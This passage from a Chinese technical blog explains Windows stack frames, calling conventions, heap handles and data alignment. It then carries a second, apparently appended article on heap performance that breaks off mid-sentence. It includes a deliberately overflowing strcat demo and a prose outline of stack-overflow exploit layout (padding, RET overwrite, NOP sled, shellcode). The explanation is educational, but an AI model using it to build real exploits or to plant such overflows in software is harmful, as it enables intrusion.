/&gt;printf("0x%08x\n\n",¶m3);&lt;br /&gt;printf("0x%08x\n",&amp;var1);&lt;br /&gt;printf("0x%08x\n",&amp;var2);&lt;br /&gt;printf("0x%08x\n\n",&amp;var3);&lt;br /&gt;return;&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;int main()&lt;br /&gt;{&lt;br /&gt;func(1,2,3);&lt;br /&gt;return 0;&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;编译后的执行结果是： &lt;/p&gt;&lt;p&gt;0x0012ff78&lt;br /&gt;0x0012ff7c&lt;br /&gt;0x0012ff80 &lt;/p&gt;&lt;p&gt;0x0012ff68&lt;br /&gt;0x0012ff6c&lt;br /&gt;0x0012ff70 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;├———————┤&lt;—函数执行时的栈顶（ESP）、低端内存区域 │ …… │ ├———————┤ │ var 1 │ ├———————┤ │ var 2 │ ├———————┤ │ var 3 │ ├———————┤ │ RET │ ├———————┤&lt;—“__cdecl”函数返回后的栈顶（ESP） │ parameter 1 │ ├———————┤ │ parameter 2 │ ├———————┤ │ parameter 3 │ ├———————┤&lt;—“__stdcall”函数返回后的栈顶（ESP） │ …… │ ├———————┤&lt;—栈底（基地址 EBP）、高端内存区域 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;上 图就是函数调用过程中堆栈的样子了。首先，三个参数以从又到左的次序压入堆栈，先压“param3”，再压“param2”，最后压入“param1”； 然后压入函数的返回地址(RET)，接着跳转到函数地址接着执行（这里要补充一点，介绍UNIX下的缓冲溢出原理的文章中都提到在压入RET后，继续压入 当前EBP，然后用当前ESP代替EBP。然而，有一篇介绍windows下函数调用的文章中说，在windows下的函数调用也有这一步骤，但根据我的 实际调试，并未发现这一步，这还可以从param3和var1之间只有4字节的间隙这点看出来）；第三步，将栈顶(ESP)减去一个数，为本地变量分配内 存空间，上例中是减去12字节(ESP=ESP-3*4，每个int变量占用4个字节)；接着就初始化本地变量的内存空间。由于“__stdcall”调 用由被调函数调整堆栈，所以在函数返回前要恢复堆栈，先回收本地变量占用的内存(ESP=ESP+3*4)，然后取出返回地址，填入EIP寄存器，回收先 前压入参数占用的内存(ESP=ESP+3*4)，继续执行调用者的代码。参见下列汇编代码： &lt;/p&gt;&lt;p&gt;;--------------func 函数的汇编代码------------------- &lt;/p&gt;&lt;p&gt;:00401000 83EC0C sub esp, 0000000C //创建本地变量的内存空间&lt;br /&gt;:00401003 8B442410 mov eax, dword ptr [esp+10]&lt;br /&gt;:00401007 8B4C2414 mov ecx, dword ptr [esp+14]&lt;br /&gt;:0040100B 8B542418 mov edx, dword ptr [esp+18]&lt;br /&gt;:0040100F 89442400 mov dword ptr [esp], eax&lt;br /&gt;:00401013 8D442410 lea eax, dword ptr [esp+10]&lt;br /&gt;:00401017 894C2404 mov dword ptr [esp+04], ecx &lt;/p&gt;&lt;p&gt;……………………（省略若干代码） &lt;/p&gt;&lt;p&gt;:00401075 83C43C add esp, 0000003C ;恢复堆栈，回收本地变量的内存空间&lt;br /&gt;:00401078 C3 ret 000C ;函数返回，恢复参数占用的内存空间&lt;br /&gt;;如果是“__cdecl”的话，这里是“ret”，堆栈将由调用者恢复 &lt;/p&gt;&lt;p&gt;;-------------------函数结束------------------------- &lt;/p&gt;&lt;p&gt;&lt;br /&gt;;--------------主程序调用func函数的代码-------------- &lt;/p&gt;&lt;p&gt;:00401080 6A03 push 00000003 //压入参数param3&lt;br /&gt;:00401082 6A02 push 00000002 //压入参数param2&lt;br /&gt;:00401084 6A01 push 00000001 //压入参数param1&lt;br /&gt;:00401086 E875FFFFFF call 00401000 //调用func函数&lt;br /&gt;;如果是“__cdecl”的话，将在这里恢复堆栈，“add esp, 0000000C” &lt;/p&gt;&lt;p&gt;聪明的读者看到这里，差不多就明白缓冲溢出的原理了。先来看下面的代码： &lt;/p&gt;&lt;p&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt; &lt;/string.h&gt;&lt;/stdio.h&gt;&lt;/p&gt;&lt;p&gt;void __stdcall func()&lt;br /&gt;{&lt;br /&gt;char lpBuff[8]="\0";&lt;br /&gt;strcat(lpBuff,"AAAAAAAAAAA");&lt;br /&gt;return;&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;int main()&lt;br /&gt;{&lt;br /&gt;func();&lt;br /&gt;return 0;&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;编 译后执行一下回怎么样？哈，“"0x00414141"指令引用的"0x00000000"内存。该内存不能为"read"。”，“非法操作”喽！ "41"就是"A"的16进制的ASCII码了，那明显就是strcat这句出的问题了。"lpBuff"的大小只有8字节，算进结尾的\0，那 strcat最多只能写入7个"A"，但程序实际写入了11个"A"外加1个\0。再来看看上面那幅图，多出来的4个字节正好覆盖了RET的所在的内存空 间，导致函数返回到一个错误的内存地址，执行了错误的指令。如果能精心构造这个字符串，使它分成三部分，前一部份仅仅是填充的无意义数据以达到溢出的目 的，接着是一个覆盖RET的数据，紧接着是一段shellcode，那只要着个RET地址能指向这段shellcode的第一个指令，那函数返回时就能执 行shellcode了。但是软件的不同版本和不同的运行环境都可能影响这段shellcode在内存中的位置，那么要构造这个RET是十分困难的。一般 都在RET和shellcode之间填充大量的NOP指令，使得exploit有更强的通用性。 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;├———————┤&lt;—低端内存区域 │ …… │ ├———————┤&lt;—由exploit填入数据的开始 │ │ │ buffer │&lt;—填入无用的数据 │ │ ├———————┤ │ RET │&lt;—指向shellcode，或NOP指令的范围 ├———————┤ │ NOP │ │ …… │&lt;—填入的NOP指令，是RET可指向的范围 │ NOP │ ├———————┤ │ │ │ shellcode │ │ │ ├———————┤&lt;—由exploit填入数据的结束 │ …… │ ├———————┤&lt;—高端内存区域 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;windows下的动态数据除了可存放在栈中，还可以存放在堆中。了解C++的朋友都知道，C++可以使用new关键字来动态分配内存。来看下面的C++代码： &lt;/p&gt;&lt;p&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;iostream.h&gt;&lt;br /&gt;#include &lt;windows.h&gt; &lt;/windows.h&gt;&lt;/iostream.h&gt;&lt;/stdio.h&gt;&lt;/p&gt;&lt;p&gt;void func()&lt;br /&gt;{&lt;br /&gt;char *buffer=new char[128];&lt;br /&gt;char bufflocal[128];&lt;br /&gt;static char buffstatic[128];&lt;br /&gt;printf("0x%08x\n",buffer); //打印堆中变量的内存地址&lt;br /&gt;printf("0x%08x\n",bufflocal); //打印本地变量的内存地址&lt;br /&gt;printf("0x%08x\n",buffstatic); //打印静态变量的内存地址&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;void main()&lt;br /&gt;{&lt;br /&gt;func();&lt;br /&gt;return;&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;程序执行结果为： &lt;/p&gt;&lt;p&gt;0x004107d0&lt;br /&gt;0x0012ff04&lt;br /&gt;0x004068c0 &lt;/p&gt;&lt;p&gt;可以发现用new关键字分配的内存即不在栈中，也不在静态数据区。VC编译器是通过windows下的“堆(heap)”来实现new关键字的内存动态分配。在讲“堆”之前，先来了解一下和“堆”有关的几个API函数： &lt;/p&gt;&lt;p&gt;HeapAlloc 在堆中申请内存空间&lt;br /&gt;HeapCreate 创建一个新的堆对象&lt;br /&gt;HeapDestroy 销毁一个堆对象&lt;br /&gt;HeapFree 释放申请的内存&lt;br /&gt;HeapWalk 枚举堆对象的所有内存块&lt;br /&gt;GetProcessHeap 取得进程的默认堆对象&lt;br /&gt;GetProcessHeaps 取得进程所有的堆对象&lt;br /&gt;LocalAlloc&lt;br /&gt;GlobalAlloc &lt;/p&gt;&lt;p&gt;当进程初始化时，系统会自动为进程创建一个默认堆，这个堆默认所占内存的大小为1M。堆对象由系统进行管理，它在内存中以链式结构存在。通过下面的代码可以通过堆动态申请内存空间： &lt;/p&gt;&lt;p&gt;HANDLE hHeap=GetProcessHeap();&lt;br /&gt;char *buff=HeapAlloc(hHeap,0,8); &lt;/p&gt;&lt;p&gt;其中hHeap是堆对象的句柄，buff是指向申请的内存空间的地址。那这个hHeap究竟是什么呢？它的值有什么意义吗？看看下面这段代码吧： &lt;/p&gt;&lt;p&gt;#pragma comment(linker,"/entry:main") //定义程序的入口&lt;br /&gt;#include &lt;windows.h&gt; &lt;/windows.h&gt;&lt;/p&gt;&lt;p&gt;_CRTIMP int (__cdecl *printf)(const char *, ...); //定义STL函数printf&lt;br /&gt;/*---------------------------------------------------------------------------&lt;br /&gt;写到这里，我们顺便来复习一下前面所讲的知识：&lt;br /&gt;(*注)printf函数是C语言的标准函数库中函数，VC的标准函数库由msvcrt.dll模块实现。&lt;br /&gt;由 函数定义可见，printf的参数个数是可变的，函数内部无法预先知道调用者压入的参数个数，函数只能通过分析第一个参数字符串的格式来获得压入参数的信 息，由于这里参数的个数是动态的，所以必须由调用者来平衡堆栈，这里便使用了__cdecl调用规则。BTW，Windows系统的API函数基本上是 __stdcall调用形式，只有一个API例外，那就是wsprintf，它使用__cdecl调用规则，同printf函数一样，这是由于它的参数个 数是可变的缘故。&lt;br /&gt;---------------------------------------------------------------------------*/&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;HANDLE hHeap=GetProcessHeap();&lt;br /&gt;char *buff=HeapAlloc(hHeap,0,0x10);&lt;br /&gt;char *buff2=HeapAlloc(hHeap,0,0x10);&lt;br /&gt;HMODULE hMsvcrt=LoadLibrary("msvcrt.dll");&lt;br /&gt;printf=(void *)GetProcAddress(hMsvcrt,"printf");&lt;br /&gt;printf("0x%08x\n",hHeap);&lt;br /&gt;printf("0x%08x\n",buff);&lt;br /&gt;printf("0x%08x\n\n",buff2);&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;执行结果为： &lt;/p&gt;&lt;p&gt;0x00130000&lt;br /&gt;0x00133100&lt;br /&gt;0x00133118 &lt;/p&gt;&lt;p&gt;hHeap 的值怎么和那个buff的值那么接近呢？其实hHeap这个句柄就是指向HEAP首部的地址。在进程的用户区存着一个叫PEB(进程环境块)的结构，这个 结构中存放着一些有关进程的重要信息，其中在PEB首地址偏移0x18处存放的ProcessHeap就是进程默认堆的地址，而偏移0x90处存放了指向 进程所有堆的地址列表的指针。windows有很多API都使用进程的默认堆来存放动态数据，如windows 2000下的所有ANSI版本的函数都是 在默认堆中申请内存来转换ANSI字符串到Unicode字符串的。对一个堆的访问是顺序进行的，同一时刻只能有一个线程访问堆中的数据，当多个线程同时 有访问要求时，只能排队等待，这样便造成程序执行效率下降。 &lt;/p&gt;&lt;p&gt;最后来说说内存中的数据对齐。所位数据对齐，是指数据所在的内存地址必须是该 数据长度的整数倍，DWORD数据的内存起始地址能被4除尽，WORD数据的内存起始地址能被2除尽，x86 CPU能直接访问对齐的数据，当他试图访问 一个未对齐的数据时，会在内部进行一系列的调整，这些调整对于程序来说是透明的，但是会降低运行速度，所以编译器在编译程序时会尽量保证数据对齐。同样一 段代码，我们来看看用VC、Dev-C++和lcc三个不同编译器编译出来的程序的执行结果： &lt;/p&gt;&lt;p&gt;#include &lt;stdio.h&gt; &lt;/stdio.h&gt;&lt;/p&gt;&lt;p&gt;int main()&lt;br /&gt;{&lt;br /&gt;int a;&lt;br /&gt;char b;&lt;br /&gt;int c;&lt;br /&gt;printf("0x%08x\n",&amp;a);&lt;br /&gt;printf("0x%08x\n",&amp;b);&lt;br /&gt;printf("0x%08x\n",&amp;c);&lt;br /&gt;return 0;&lt;br /&gt;} &lt;/p&gt;&lt;p&gt;这是用VC编译后的执行结果：&lt;br /&gt;0x0012ff7c&lt;br /&gt;0x0012ff7b&lt;br /&gt;0x0012ff80&lt;br /&gt;变量在内存中的顺序：b(1字节)-a(4字节)-c(4字节)。 &lt;/p&gt;&lt;p&gt;这是用Dev-C++编译后的执行结果：&lt;br /&gt;0x0022ff7c&lt;br /&gt;0x0022ff7b&lt;br /&gt;0x0022ff74&lt;br /&gt;变量在内存中的顺序：c(4字节)-中间相隔3字节-b(占1字节)-a(4字节)。 &lt;/p&gt;&lt;p&gt;这是用lcc编译后的执行结果：&lt;br /&gt;0x0012ff6c&lt;br /&gt;0x0012ff6b&lt;br /&gt;0x0012ff64&lt;br /&gt;变量在内存中的顺序：同上。 &lt;/p&gt;&lt;p&gt;三个编译器都做到了数据对齐，但是后两个编译器显然没VC“聪明”，让一个char占了4字节，浪费内存哦。 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;基础知识：&lt;br /&gt;堆 栈是一种简单的数据结构，是一种只允许在其一端进行插入或删除的线性表。允许插入或删除操作的一端称为栈顶，另一端称为栈底，对堆栈的插入和删除操作被称 为入栈和出栈。有一组CPU指令可以实现对进程的内存实现堆栈访问。其中，POP指令实现出栈操作，PUSH指令实现入栈操作。CPU的ESP寄存器存放 当前线程的栈顶指针，EBP寄存器中保存当前线程的栈底指针。CPU的EIP寄存器存放下一个CPU指令存放的内存地址，当CPU执行完当前的指令后，从 EIP寄存器中读取下一条指令的内存地址，然后继续执行。 &lt;/p&gt;&lt;p&gt;&lt;br /&gt;参考：《Windows下的HEAP溢出及其利用》by: isno&lt;br /&gt;《windows核心编程》by: Jeffrey Richter&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;摘要： 讨论常见的堆性能问题以及如何防范它们。（共 9 页）&lt;/p&gt;&lt;p&gt;前言&lt;br /&gt;您 是否是动态分配的 C/C++ 对象忠实且幸运的用户？您是否在模块间的往返通信中频繁地使用了“自动化”？您的程序是否因堆分配而运行起来很慢？不仅仅 您遇到这样的问题。几乎所有项目迟早都会遇到堆问题。大家都想说，“我的代码真正好，只是堆太慢”。那只是部分正确。更深入理解堆及其用法、以及会发生什 么问题，是很有用的。&lt;/p&gt;&lt;p&gt;什么是堆？&lt;br /&gt;（如果您已经知道什么是堆，可以跳到“什么是常见的堆性能问题？”部分）&lt;/p&gt;&lt;p&gt;在程序中，使用堆来动态分配和释放对象。在下列情况下，调用堆操作： &lt;/p&gt;&lt;p&gt;事先不知道程序所需对象的数量和大小。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;对象太大而不适合堆栈分配程序。&lt;br /&gt;堆使用了在运行时分配给代码和堆栈的内存之外的部分内存。下图给出了堆分配程序的不同层。&lt;br /&gt;&lt;a target="_blank" href="http://club.5ivb.net/UploadFile/2005311144027byUID16686.gif"&gt;&lt;img src="" alt="" onload="" /&gt;screen.width-333)this.width=screen.width-333" dypop="按此在新窗口浏览图片" src="http://writeblog.csdn.net/fckeditor/editor/" border="0"&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;GlobalAlloc/GlobalFree：Microsoft Win32 堆调用，这些调用直接与每个进程的默认堆进行对话。&lt;/p&gt;&lt;p&gt;LocalAlloc/LocalFree：Win32 堆调用（为了与 Microsoft Windows NT 兼容），这些调用直接与每个进程的默认堆进行对话。&lt;/p&gt;&lt;p&gt;COM 的 IMalloc 分配程序（或 CoTaskMemAlloc / CoTaskMemFree）：函数使用每个进程的默认堆。自动化程序使用“组件对象模型 (COM)”的分配程序，而申请的程序使用每个进程堆。&lt;/p&gt;&lt;p&gt;C/C ++ 运行时 (CRT) 分配程序：提供了 malloc() 和 free() 以及 new 和 delete 操作符。如  Microsoft Visual Basic 和 Java 等语言也提供了新的操作符并使用垃圾收集来代替堆。CRT 创建自己的私有堆，驻留在  Win32 堆的顶部。&lt;/p&gt;&lt;p&gt;Windows NT 中，Win32 堆是 Windows NT 运行时分配程序周围的薄层。所有 API 转发它们的请求给 NTDLL。&lt;/p&gt;&lt;p&gt;Windows NT 运行时分配程序提供 Windows NT 内的核心堆分配程序。它由具有 128 个大小从 8 到 1,024 字节的空闲列表的前端分配程序组成。后端分配程序使用虚拟内存来保留和提交页。&lt;/p&gt;&lt;p&gt;在图表的底部是“虚拟内存分配程序”，操作系统使用它来保留和提交页。所有分配程序使用虚拟内存进行数据的存取。&lt;/p&gt;&lt;p&gt;分配和释放块不就那么简单吗？为何花费这么长时间？&lt;/p&gt;&lt;p&gt;堆实现的注意事项&lt;br /&gt;传 统上，操作系统和运行时库是与堆的实现共存的。在一个进程的开始，操作系统创建一个默认堆，叫做“进程堆”。如果没有其他堆可使用，则块的分配使用“进程 堆”。语言运行时也能在进程内创建单独的堆。（例如，C 运行时创建它自己的堆。）除这些专用的堆外，应用程序或许多已载入的动态链接库 (DLL) 之 一可以创建和使用单独的堆。Win32 提供一整套 API 来创建和使用私有堆。有关堆函数（英文）的详尽指导，请参见 MSDN。&lt;/p&gt;&lt;p&gt;当应用程序或 DLL 创建私有堆时，这些堆存在于进程空间，并且在进程内是可访问的。从给定堆分配的数据将在同一个堆上释放。（不能从一个堆分配而在另一个堆释放。）&lt;/p&gt;&lt;p&gt;在所有虚拟内存系统中，堆驻留在操作系统的“虚拟内存管理器”的顶部。语言运行时堆也驻留在虚拟内存顶部。某些情况下，这些堆是操作系统堆中的层，而语言运行时堆则通过大块的分配来执行自己的内存管理。不使用操作系统堆，而使用虚拟内存函数更利于堆的分配和块的使用。&lt;/p&gt;&lt;p&gt;典 型的堆实现由前、后端分配程序组成。前端分配程序维持固定大小块的空闲列表。对于一次分配调用，堆尝试从前端列表找到一个自由块。如果失败，堆被迫从后端 （保留和提交虚拟内存）分配一个大块来满足请求。通用的实现有每块分配的开销，这将耗费执行周期，也减少了可使用的存储空间。&lt;/p&gt;&lt;p&gt;Knowledge Base  文章 Q10758，“用 calloc() 和 malloc() 管理内存” （搜索文章编号）, 包含了有关这些主题的更多背景知识。另外，有关堆 实现和设计的详细讨论也可在下列著作中找到：“Dynamic Storage Allocation:  A Survey and Critical Review”，作者 Paul R. Wilson、Mark S. Johnstone、 Michael Neely 和 David Boles； “International Workshop on Memory Management”, 作者 Kinross, Scotland, UK,  1995 年 9 月(&lt;img alt="" src="http://writeblog.csdn.net/fckeditor/editor/" align="absmiddle" border="0" /&gt;&lt;a target="_blank" href="http://www.cs.utexas.edu/users/oops/papers.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.cs.utexas.edu/users/oops/papers.html&lt;/span&gt;&lt;/a&gt;)（英文）。&lt;/p&gt;&lt;p&gt;Windows NT  的实现（Windows NT 版本 4.0 和更新版本） 使用了 127 个大小从 8 到 1,024 字节的 8 字节对齐块空闲列表和一个“大 块”列表。“大块”列表（空闲列表[0]） 保存大于 1,024 字节的块。空闲列表容纳了用双向链表链接在一起的对象。默认情况下，“进程堆”执行收 集操作。（收集是将相邻空闲块合并成一个大块的操作。）收集耗费了额外的周期，但减少了堆块的内部碎片。&lt;/p&gt;&lt;p&gt;单一全局锁保护堆，防止多线程式的使用。（请参见“Server Performance and Scalability Killers”中的第一个注意事项, George Reilly 所著，在 “MSDN Online Web Workshop”上（站点：&lt;img alt="" src="http://writeblog.csdn.net/fckeditor/editor/" align="absmiddle" border="0" /&gt;&lt;a target="_blank" href="http://msdn.microsoft.com/workshop/server/iis/tencom.asp"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://msdn.microsoft.com/workshop/server/iis/tencom.asp&lt;/span&gt;&lt;/a&gt;（英文）。）单一全局锁本质上是用来保护堆数据结构，防止跨多线程的随机存取。若堆操作太频繁，单一全局锁会对性能有不利的影响。&lt;/p&gt;&lt;p&gt;什么是常见的堆性能问题？&lt;br /&gt;以下是您使用堆时会遇到的最常见问题： &lt;/p&gt;&lt;p&gt;分配操作造成的速度减慢。光分配就耗费很长时间。最可能导致运行速度减慢原因是空闲列表没有块，所以运行时分配程序代码会耗费周期寻找较大的空闲块，或从后端分配程序分配新块。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;释放操作造成的速度减慢。释放操作耗费较多周期，主要是启用了收集操作。收集期间，每个释放操作“查找”它的相邻块，取出它们并构造成较大块，然后再把此较大块插入空闲列表。在查找期间，内存可能会随机碰到，从而导致高速缓存不能命中，性能降低。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;堆 竞争造成的速度减慢。当两个或多个线程同时访问数据，而且一个线程继续进行之前必须等待另一个线程完成时就发生竞争。竞争总是导致麻烦；这也是目前多处理 器系统遇到的最大问题。当大量使用内存块的应用程序或 DLL 以多线程方式运行（或运行于多处理器系统上）时将导致速度减慢。单一锁定的使用—常用的解 决方案—意味着使用堆的所有操作是序列化的。当等待锁定时序列化会引起线程切换上下文。可以想象交叉路口闪烁的红灯处走走停停导致的速度减慢。&lt;br /&gt;竞争通常会导致线程和进程的上下文切换。上下文切换的开销是很大的，但开销更大的是数据从处理器高速缓存中丢失，以及后来线程复活时的数据重建。&lt;/p&gt;&lt;p&gt;堆 破坏造成的速度减慢。造成堆破坏的原因是应用程序对堆块的不正确使用。通常情形包括释放已释放的堆块或使用已释放的堆块，以及块的越界重写等明显问题。 （破坏不在本文讨论范围之内。有关内存重写和泄漏等其他细节，请参见 Microsoft Visual C++(R) 调试文档 。）&lt;/p&gt;&lt;p&gt;&lt;br /&gt;频繁的分配和重分配造成的速度减慢。这是使用脚本语言时非常普遍的现象。如字符串被反复分配，随重分配增长和释放。不要这样做，如果可能，尽量分配大字符串和使用缓冲区。另一种方法就是尽量少用连接操作。&lt;br /&gt;竞争是在分配和释放操作中导致速度减慢的问题。理想情况下，希望使用没有竞争和快速分配/释放的堆。可惜，现在还没有这样的通用堆，也许将来会有。&lt;/p&gt;&lt;p&gt;在所有的服务器系统中（如 IIS、MSProxy、DatabaseStacks、网络服务器、 Exchange 和其他）, 堆锁定实在是个大瓶颈。处理器数越多，竞争就越会恶化。&lt;/p&gt;&lt;p&gt;尽量减少堆的使用&lt;br /&gt;现在您明白使用堆时存在的问题了，难道您不想拥有能解决这些问题的超级魔棒吗？我可希望有。但没有魔法能使堆运行加快—因此不要期望在产品出货之前的最后一星期能够大为改观。如果提前规划堆策略，情况将会大大好转。调整使用堆的方法，减少对堆的操作是提高性能的良方。&lt;/p&gt;&lt;p&gt;如何减少使用堆操作？通过利用数据结构内的位置可减少堆操作的次数。请考虑下列实例：&lt;/p&gt;&lt;p&gt;struct ObjectA {&lt;br /&gt;  // objectA 的数据&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;struct ObjectB {&lt;br /&gt;  // objectB 的数据&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;// 同时使用 objectA 和 objectB&lt;/p&gt;&lt;p&gt;//&lt;br /&gt;// 使用指针&lt;br /&gt;//&lt;br /&gt;struct ObjectB {&lt;br /&gt;  struct ObjectA * pObjA;&lt;br /&gt;  // objectB 的数据&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;//&lt;br /&gt;// 使用嵌入&lt;br /&gt;//&lt;br /&gt;struct ObjectB {&lt;br /&gt;  struct ObjectA pObjA;&lt;br /&gt;  // objectB 的数据&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;//&lt;br /&gt;// 集合 – 在另一对象内使用 objectA 和 objectB&lt;br /&gt;//&lt;/p&gt;&lt;p&gt;struct ObjectX {&lt;br /&gt;  struct ObjectA  objA;&lt;br /&gt;  struct ObjectB  objB;&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;避免使用指针关联两个数据结构。如果使用指针关联两个数据结构，前面实例中的对象 A 和 B 将被分别分配和释放。这会增加额外开销—我们要避免这种做法。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;把带指针的子对象嵌入父对象。当对象中有指针时，则意味着对象中有动态元素（百分之八十）和没有引用的新位置。嵌入增加了位置从而减少了进一步分配/释放的需求。这将提高应用程序的性能。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;合并小对象形成大对象（聚合）。聚合减少分配和释放的块的数量。如果有几个开发者，各自开发设计的不同部分，则最终会有许多小对象需要合并。集成的挑战就是要找到正确的聚合边界。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;内 联缓冲区能够满足百分之八十的需要（aka 80-20 规则）。个别情况下，需要内存缓冲区来保存字符串/二进制数据，但事先不知道总字节数。估计并内 联一个大小能满足百分之八十需要的缓冲区。对剩余的百分之二十，可以分配一个新的缓冲区和指向这个缓冲区的指针。这样，就减少分配和释放调用并增加数据的 位置空间，从根本上提高代码的性能。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;在块中分配对象（块化）。块化是以组的方式一次分配多个对象的方法。如果对列表的项连续跟踪， 例如对一个 {名称，值} 对的列表，有两种选择：选择一是为每一个“名称-值”对分配一个节点；选择二是分配一个能容纳（如五个）“名称-值”对的结 构。例如，一般情况下，如果存储四对，就可减少节点的数量，如果需要额外的空间数量，则使用附加的链表指针。&lt;br /&gt;块化是友好的处理器高速缓存，特别是对于 L1-高速缓存，因为它提供了增加的位置 —不用说对于块分配，很多数据块会在同一个虚拟页中。&lt;/p&gt;&lt;p&gt;正确使用 _amblksiz。C 运行时 (CRT) 有它的自定义前端分配程序，该分配程序从后端（Win32 堆）分配大小为 _amblksiz 的块。将 _amblksiz 设置为较高的值能潜在地减少对后端的调用次数。这只对广泛使用 CRT 的程序适用。&lt;br /&gt;使用上述技术将获得的好处会因对象类型、大小及工作量而有所不同。但总能在性能和可升缩性方面有所收获。另一方面，代码会有点特殊，但如果经过深思熟虑，代码还是很容易管理的。&lt;/p&gt;&lt;p&gt;其他提高性能的技术&lt;br /&gt;下面是一些提高速度的技术： &lt;/p&gt;&lt;p&gt;使用 Windows NT5 堆&lt;br /&gt;由于几个同事的努力和辛勤工作，1998 年初 Microsoft Windows(R) 2000 中有了几个重大改进：&lt;/p&gt;&lt;p&gt;改进了堆代码内的锁定。堆代码对每堆一个锁。全局锁保护堆数据结构，防止多线程式的使用。但不幸的是，在高通信量的情况下，堆仍受困于全局锁，导致高竞争和低性能。Windows 2000 中，锁内代码的临界区将竞争的可能性减到最小,从而提高了可伸缩性。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;使 用 “Lookaside”列表。堆数据结构对块的所有空闲项使用了大小在 8 到 1,024 字节（以 8-字节递增）的快速高速缓存。快速高速缓存 最初保护在全局锁内。现在，使用 lookaside 列表来访问这些快速高速缓存空闲列表。这些列表不要求锁定，而是使用 64 位的互锁操作，因此提 高了性能。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;内部数据结构算法也得到改进。&lt;br /&gt;这些改进避免了对分配高速缓存的需求，但不排除其他的优化。使用  Windows NT5 堆评估您的代码；它对小于 1,024 字节 (1 KB) 的块（来自前端分配程序的块）是最佳的。GlobalAlloc () 和 LocalAlloc() 建立在同一堆上，是存取每个进程堆的通用机制。如果希望获得高的局部性能，则使用 Heap(R) API 来存取 每个进程堆，或为分配操作创建自己的堆。如果需要对大块操作，也可以直接使用 VirtualAlloc() / VirtualFree() 操作。&lt;/p&gt;&lt;p&gt;上 述改进已在 Windows 2000 beta 2 和 Windows NT 4.0 SP4 中使用。改进后，堆锁的竞争率显著降低。这使所有  Win32 堆的直接用户受益。CRT 堆建立于 Win32 堆的顶部，但它使用自己的小块堆，因而不能从 Windows NT 改进中受益。 （Visual C++ 版本 6.0 也有改进的堆分配程序。）&lt;/p&gt;&lt;p&gt;使用分配高速缓存&lt;br /&gt;分配高速缓存允许高速缓存分配的块，以便将来重用。这能够减少对进程堆（或全局堆）的分配/释放调用的次数，也允许最大限度的重用曾经分配的块。另外，分配高速缓存允许收集统计信息,以便较好地理解对象在较高层次上的使用。&lt;/p&gt;&lt;p&gt;典 型地，自定义堆分配程序在进程堆的顶部实现。自定义堆分配程序与系统堆的行为很相似。主要的差别是它在进程堆的顶部为分配的对象提供高速缓存。高速缓存设 计成一套固定大小（如 32 字节、64 字节、128 字节等）。这一个很好的策略，但这种自定义堆分配程序丢失与分配和释放的对象相关的“语义信 息”。 &lt;/p&gt;&lt;p&gt;与自定义堆分配程序相反，“分配高速缓存”作为每类分配高速缓存来实现。除能够提供自定义堆分配程序的所有好处之外，它们还能够保 留大量语义信息。每个分配高速缓存处理程序与一个目标二进制对象关联。它能够使用一套参数进行初始化，这些参数表示并发级别、对象大小和保持在空闲列表中 的元素的数量等。分配高速缓存处理程序对象维持自己的私有空闲实体池（不超过指定的阀值）并使用私有保护锁。合在一起，分配高速缓存和私有锁减少了与主系 统堆的通信量，因而提供了增加的并发、最大限度的重用和较高的可伸缩性。&lt;/p&gt;&lt;p&gt;需要使用清理程序来定期检查所有分配高速缓存处理程序的活动情况并回收未用的资源。如果发现没有活动，将释放分配对象的池，从而提高性能。&lt;/p&gt;&lt;p&gt;可以审核每个分配/释放活动。第一级信息包括对象、分配和释放调用的总数。通过查看它们的统计信息可以得出各个对象之间的语义关系。利用以上介绍的许多技术之一，这种关系可以用来减少内存分配。&lt;/p&gt;&lt;p&gt;分配高速缓存也起到了调试助手的作用，帮助您跟踪没有完全清除的对象数量。通过查看动态堆栈返回踪迹和除没有清除的对象之外的签名，甚至能够找到确切的失败的调用者。&lt;/p&gt;&lt;p&gt;MP 堆&lt;br /&gt;MP  堆是对多处理器友好的分布式分配的程序包，在 Win32 SDK（Windows NT 4.0 和更新版本）中可以得到。最初由 JVert 实现， 此处堆抽象建立在 Win32 堆程序包的顶部。MP 堆创建多个 Win32 堆，并试图将分配调用分布到不同堆，以减少在所有单一锁上的竞争。&lt;/p&gt;&lt;p&gt;本 程序包是好的步骤 —一种改进的 MP-友好的自定义堆分配程序。但是，它不提供语义信息和缺乏统计功能。通常将 MP 堆作为 SDK 库来使用。如果 使用这个 SDK 创建可重用组件，您将大大受益。但是，如果在每个 DLL 中建立这个 SDK 库，将增加工作设置。&lt;/p&gt;&lt;p&gt;重新思考算法和数据结构&lt;br /&gt;要 在多处理器机器上伸缩，则算法、实现、数据结构和硬件必须动态伸缩。请看最经常分配和释放的数据结构。试问，“我能用不同的数据结构完成此工作吗？”例 